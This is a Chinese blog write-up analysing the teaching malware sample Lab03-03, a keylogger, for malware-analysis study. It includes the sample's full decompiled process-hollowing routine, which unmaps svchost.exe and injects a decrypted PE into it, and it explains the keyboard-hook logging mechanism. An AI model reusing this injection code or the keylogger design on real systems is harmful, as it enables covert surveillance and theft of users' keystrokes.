恶意代码分析实验 Lab03-03

最新推荐文章于 2022-04-13 16:33:31 发布

曙雀

最新推荐文章于 2022-04-13 16:33:31 发布

阅读量1.6k

点赞数 4

分类专栏：恶意代码分析

本文链接：https://blog.csdn.net/shannow_123/article/details/89635959

版权

恶意代码分析专栏收录该内容

5 篇文章 0 订阅

订阅专栏

恶意代码分析实验（二）

Lab03-03.exe

Lab03-03.exe

使用IDA进行静态分析

将文件拖入IDA进行分析
在这里插入图片描述根据分析得知该程序首先获取本线程的句柄，然后又获取了svchotexe.exe的绝对路径，路径获取过程如下：
获取svchotexe.exe路径之后该程序对UNICODE类的资源LOCALIZATION进行解密，过程如下：
用ResourceHacker找到UNICODE类的资源LOCALIZATION重命名为LABEL2（想写LOCAL。。。抄错了）
在这里插入图片描述
python对资源解密过程如下：
解密资源文件
将解密后的文件拖入HxD中分析，发现是PE文件结构
先将该文件放一下，我们继续分析下一个函数sub_4010EA(LPCSTR lpApplicationName, LPCVOID lpBuffer)
该函数参数分别为svchost.exe的绝对路径和解密后的PE文件地址，分析如下：

// svchost.exe,资源PE
int __cdecl sub_4010EA(LPCSTR lpApplicationName, LPCVOID PEbuffer)
{
  HMODULE v2; // eax
  _DWORD *v4; // ST28_4
  signed int i; // [esp+4h] [ebp-70h]
  int Buffer; // [esp+8h] [ebp-6Ch]
  LPVOID lpBaseAddress; // [esp+Ch] [ebp-68h]
  FARPROC v8; // [esp+10h] [ebp-64h]
  LPCONTEXT lpContext; // [esp+14h] [ebp-60h]
  struct _STARTUPINFOA StartupInfo; // [esp+18h] [ebp-5Ch]
  struct _PROCESS_INFORMATION ProcessInformation; // [esp+5Ch] [ebp-18h]
  char *v12; // [esp+6Ch] [ebp-8h]
  _DWORD *v13; // [esp+70h] [ebp-4h]

  v13 = PEbuffer;
  if ( *(_WORD *)PEbuffer != 'ZM' )
    return 0;
  v12 = (char *)PEbuffer + v13[15];
  if ( *(_DWORD *)v12 != 'EP' )
    return 0;
  memset(&StartupInfo, 0, 0x44u);
  memset(&ProcessInformation, 0, 0x10u);
  if ( !CreateProcessA(lpApplicationName, 0, 0, 0, 0, 4u, 0, 0, &StartupInfo, &ProcessInformation) )// 创建进程svchost.exe
    return 0;
  lpContext = (LPCONTEXT)VirtualAlloc(0, 0x2CCu, 0x1000u, 4u);// 申请内存空间，数据类型为CONTEXT
  lpContext->ContextFlags = 65543;
  if ( !GetThreadContext(ProcessInformation.hThread, lpContext) )// 将进程寄存器信息存入IpContext
    return 0;
  Buffer = 0;
  lpBaseAddress = 0;
  v8 = 0;
  ReadProcessMemory(ProcessInformation.hProcess, (LPCVOID)(lpContext->Ebx + 8), &Buffer, 4u, 0);// 将ebx寄存器+8指向的位置向后读取四字节，存入Buffer
  v2 = GetModuleHandleA(ModuleName);            // 获取模块ntdll.dll的句柄
  v8 = GetProcAddress(v2, ProcName);            // 获取ntdll.dll模块中NtUnmapViewOfSection函数位置
  if ( !v8 )
    return 0;
  ((void (__stdcall *)(HANDLE, int))v8)(ProcessInformation.hProcess, Buffer);// 卸载进程中buffer指向的模块
  lpBaseAddress = VirtualAllocEx(
                    ProcessInformation.hProcess,
                    *((LPVOID *)v12 + 13),
                    *((_DWORD *)v12 + 20),
                    0x3000u,
                    0x40u);
  if ( !lpBaseAddress )
    return 0;
  WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, PEbuffer, *((_DWORD *)v12 + 21), 0);// 将PE文件写入IpBaseAddress
  for ( i = 0; i < *((unsigned __int16 *)v12 + 3); ++i )// 执行PE文件
  {
    v4 = (char *)PEbuffer + 40 * i + v13[15] + 248;
    WriteProcessMemory(ProcessInformation.hProcess, (char *)lpBaseAddress + v4[3], (char *)PEbuffer + v4[5], v4[4], 0);
  }
  WriteProcessMemory(ProcessInformation.hProcess, (LPVOID)(lpContext->Ebx + 8), v12 + 52, 4u, 0);
  lpContext->Eax = (DWORD)lpBaseAddress + *((_DWORD *)v12 + 10);
  SetThreadContext(ProcessInformation.hThread, lpContext);
  ResumeThread(ProcessInformation.hThread);
  return 1;
}

定义的CONTEXT结构体类型如下，用于存储寄存器状态：
_PROCESS_INFORMATION数据结构如下，用来存储进程信息：
接下来分析解密的这个PE文件
在这里插入图片描述查看SetWindowsHookExA函数的资料：
可以分析fn函数了：
分析sub_4010c7函数：
得出结论该程序执行了键盘监听功能

工作原理

该恶意代码对资源中携带的键盘监视程序进行了加密，在程序运行后，将该PE文件解密，加载svchost.exe程序，并将改程序的内存空间替换为PE文件，执行该文件，对系统当前所有顶级窗口进行监视，记录键盘输入的字符。

动态分析

大概流程清楚了，我们再试着动态分析一波
用rundll32.exe执行该文件
在这里插入图片描述

版本较高的win7win10系统中的rundll32.exe不能启动该程序，要用xp系统

执行之后发现了生成的日志文件，和该文件在同一目录下
在这里插入图片描述

注册表对比

在这里插入图片描述

信息量有点大。。感觉这个方法可能不太好用。。先放放明天再看吧，和琳琳姐去天台吹风了
---------------第二天的分隔符----------------
思考了一下，注册表是用于存储系统和应用程序的设置信息的数据结构，对这种键盘监听程序来说，可能分析注册表用处不大？？（猜
不过倒是可以把重心放在对进程和内存的监控上，这里应该有明显的发现
使用工具Process monitor & process explorer，这两个工具微软的官网上都有，可以直接下载

使用Process Explorer

在这里插入图片描述发现该进程开始后很快结束，留下一个剩余的svchost.exe进程
查看该进程memory的strings，发现该log文件名
除此之外，image和memory中的值不一样，正常情况下来说应该没有变化，由此验证内存被替换过了，根据memory中的[DEL]等键值推断该程序为键盘记录器
找到该进程的PID，在Process monitor中进行查找
在这里插入图片描述